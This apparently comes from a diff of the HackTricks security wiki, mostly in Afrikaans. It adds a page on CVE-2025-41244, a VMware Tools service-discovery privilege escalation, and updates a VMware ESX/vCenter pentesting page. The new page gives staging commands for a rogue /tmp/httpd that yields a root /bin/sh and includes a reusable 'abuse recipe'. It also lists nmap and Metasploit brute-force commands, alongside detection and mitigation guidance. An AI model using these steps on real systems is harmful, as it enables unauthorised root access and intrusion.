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| - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) | ||||
| - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) | ||||
|   - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) | ||||
|   - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) | ||||
|   - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) | ||||
|   - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) | ||||
|   - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) | ||||
|  | ||||
										
											
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| # VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Hierdie tegniek misbruik regex-gedrewe service discovery-pipelines wat hardlopende prosesopdraglyne ontleed om diensweergawes af te lei en daarna 'n kandidaat-binary met 'n "version"-vlag uitvoer. Wanneer toegewingpatrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary uit vanaf 'n onbetroubare ligging, wat local privilege escalation tot gevolg het. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244. | ||||
| 
 | ||||
| - Impak: Local privilege escalation to root (or to the privileged discovery account) | ||||
| - Oorsaak: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines | ||||
| - Getroffen: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) | ||||
| 
 | ||||
| ## Hoe VMware service discovery werk (hoë vlak) | ||||
| 
 | ||||
| - Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met geconfigureerde bevoorregte credentials. | ||||
| - Credential-less (modern): Discovery-logika loop binne VMware Tools en het reeds bevoorregte regte in die guest. | ||||
| 
 | ||||
| Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sokkette skandeer, 'n pasende opdragpad via 'n regex uithaal, en die eerste argv-token met 'n version-vlag uitvoer. | ||||
| 
 | ||||
| ## Hoofrede en kwesbare patroon (open-vm-tools) | ||||
| 
 | ||||
| In open-vm-tools stem die serviceDiscovery-plugin script get-versions.sh kandidaat-binaries aan deur breë regular expressions te gebruik en voer die eerste token uit sonder enige trusted-path-validasie: | ||||
| ```bash | ||||
| get_version() { | ||||
| PATTERN=$1 | ||||
| VERSION_OPTION=$2 | ||||
| for p in $space_separated_pids | ||||
| do | ||||
| COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") | ||||
| [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND | ||||
| done | ||||
| } | ||||
| ``` | ||||
| Dit word aangeroep met permissiewe patrone wat \S (nie-witspasie) bevat en sal maklik nie-stelselpaadjies in gebruikersskryfbare liggings pas: | ||||
| ```bash | ||||
| get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v | ||||
| get_version "/usr/(bin|sbin)/apache\S*" -v | ||||
| get_version "/\S+/mysqld($|\s)" -V | ||||
| get_version "\.?/\S*nginx($|\s)" -v | ||||
| get_version "/\S+/srm/bin/vmware-dr($|\s)" --version | ||||
| get_version "/\S+/dataserver($|\s)" -v | ||||
| ``` | ||||
| - Uittrekking gebruik grep -Eo en neem die eerste token: ${COMMAND%%[[:space:]]*} | ||||
| - Geen whitelist/allowlist van vertroude stelselpaaie nie; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version | ||||
| 
 | ||||
| Dit skep 'n untrusted search path execution primitive: ewekansige binaries wat in world-writable gidsies geleë is (bv. /tmp/httpd) word deur 'n geprivilegieerde komponent uitgevoer. | ||||
| 
 | ||||
| ## Exploitation (both credential-less and credential-based modes) | ||||
| 
 | ||||
| Voorvereistes | ||||
| - Jy kan 'n ongeprivilegieerde proses laat loop wat 'n listening socket op die guest oopmaak. | ||||
| - Die discovery job is geaktiveer en loop periodiek (tipies elke ~5 minute). | ||||
| 
 | ||||
| Stappe | ||||
| 1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexes, bv. /tmp/httpd of ./nginx | ||||
| 2) Laat dit loop as 'n laag-privilegieerde gebruiker en maak seker dit open enige listening socket | ||||
| 3) Wag vir die discovery-siklus; die privileged collector sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root uitvoer | ||||
| 
 | ||||
| Minimale demo (met NVISO se benadering) | ||||
| ```bash | ||||
| # Build any small helper that: | ||||
| #  - default mode: opens a dummy TCP listener | ||||
| #  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) | ||||
| # Example staging and trigger | ||||
| cp your_helper /tmp/httpd | ||||
| chmod +x /tmp/httpd | ||||
| /tmp/httpd          # run as low-priv user and wait for the cycle | ||||
| # After the next cycle, expect a root shell or your privileged action | ||||
| ``` | ||||
| Tipiese prosesafstamming | ||||
| - Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i | ||||
| - Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i | ||||
| 
 | ||||
| Artefakte (credential-based) | ||||
| Herstelde SDMP wrapper scripts onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die rogue path toon: | ||||
| ```bash | ||||
| /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" | ||||
| ``` | ||||
| ## Algemeneer die tegniek: regex-gedrewe ontdekkingmisbruik (draagbare patroon) | ||||
| 
 | ||||
| Baie agents en monitoring-suites implementeer weergawe-/diensontdekking deur: | ||||
| - Opsomming van prosesse met luisterende sockets | ||||
| - Grepping argv/command lines met permissiewe regexes (bv. patrone wat \S bevat) | ||||
| - Die gematchte pad uit te voer met 'n goedaardige vlag soos -v, --version, -V, -h | ||||
| 
 | ||||
| As die regex onbetroubare paadjies aanvaar en die pad vanaf 'n geprivilegieerde konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path-uitvoering. | ||||
| 
 | ||||
| Abuse recipe | ||||
| - Gee jou binary 'n naam soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver | ||||
| - Plaas dit in 'n skrywebare gids: /tmp/httpd, ./nginx | ||||
| - Verseker dit pas die regex en open enige poort om geïnventariseer te word | ||||
| - Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese geprivilegieerde aanroep van <path> -v | ||||
| 
 | ||||
| Maskeeringsnota: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n match en onopgemerktheid te verhoog. | ||||
| 
 | ||||
| Reusable privileged I/O relay truuk | ||||
| - Bou jou helper sodat by geprivilegieerde aanroep (-v/--version) dit verbinding maak na 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio oorbrug na /bin/sh -i. Dit vermy on-disk artefakte en werk oor baie omgewings waar dieselfde binary met 'n vlag heruitgevoer word. | ||||
| 
 | ||||
| ## Opsporings- en DFIR-riglyne | ||||
| 
 | ||||
| Opspoornavrae | ||||
| - Ongewone subprosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld | ||||
| - Enige uitvoering van nie-stelsel absolute paadjies deur ontdekkingskripte (kyk vir spasies in ${COMMAND%%...} uitbreidings) | ||||
| - ps -ef --forest om afstammings-boom te visualiseer: vmtoolsd -> get-versions.sh -> <non-system path> | ||||
| 
 | ||||
| Op Aria SDMP (credential-based) | ||||
| - Inspekteer /tmp/VMware-SDMP-Scripts-{UUID}/ vir tydelike skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon | ||||
| 
 | ||||
| Beleid/telemetrie | ||||
| - Alarmeer wanneer geprivilegieerde versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/ | ||||
| - Lêerintegriteitsmonitering op get-versions.sh en VMware Tools-plugins | ||||
| 
 | ||||
| ## Mitigasies | ||||
| 
 | ||||
| - Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools and Aria Operations SDMP) | ||||
| - Deaktiveer of beperk ontdekking sonder credentials waar moontlik | ||||
| - Valideer vertroude paaie: beperk uitvoering tot toegelate gidse (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binaries | ||||
| - Vermy permissiewe regexes met \S; verkies geanker, eksplisiete absolute paaie en presiese opdragname | ||||
| - Verlaag voorregte vir ontdekkinghelpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder | ||||
| - Monitor en waarsku op vmtoolsd/get-versions.sh wat nie-stelselpaadjies uitvoer | ||||
| 
 | ||||
| ## Aantekeninge vir verdedigers en implementeerders | ||||
| 
 | ||||
| Veiliger matching- en uitvoerpatroon | ||||
| ```bash | ||||
| # Bad: permissive regex and blind exec | ||||
| COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") | ||||
| [ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v | ||||
| 
 | ||||
| # Good: strict allowlist + path checks | ||||
| candidate=$(get_command_line "$pid" | awk '{print $1}') | ||||
| case "$candidate" in | ||||
| /usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) | ||||
| "$candidate" -v 2>&1 ;; | ||||
| *) | ||||
| : # ignore non-allowlisted paths | ||||
| ;; | ||||
| esac | ||||
| ``` | ||||
| ## Verwysings | ||||
| 
 | ||||
| - [NVISO – Jy noem dit, VMware eskaleer dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) | ||||
| - [Broadcom-advies vir CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) | ||||
| - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) | ||||
| - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) | ||||
| - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| @ -1,16 +1,27 @@ | ||||
| # VMware ESX / vCenter Pentesting | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| # Opname | ||||
| ## Enumeration | ||||
| ```bash | ||||
| nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP> | ||||
| msf> use auxiliary/scanner/vmware/esx_fingerprint | ||||
| msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump | ||||
| ``` | ||||
| # Bruteforce | ||||
| ## Bruteforce | ||||
| ```bash | ||||
| msf> auxiliary/scanner/vmware/vmware_http_login | ||||
| ``` | ||||
| As jy geldige akrediteerbare inligting vind, kan jy meer metasploit skandeerder modules gebruik om inligting te verkry.  | ||||
| As jy valid credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry. | ||||
| 
 | ||||
| 
 | ||||
| ### Sien ook | ||||
| 
 | ||||
| Linux LPE via VMware Tools diensontdekking (CWE-426 / CVE-2025-41244): | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
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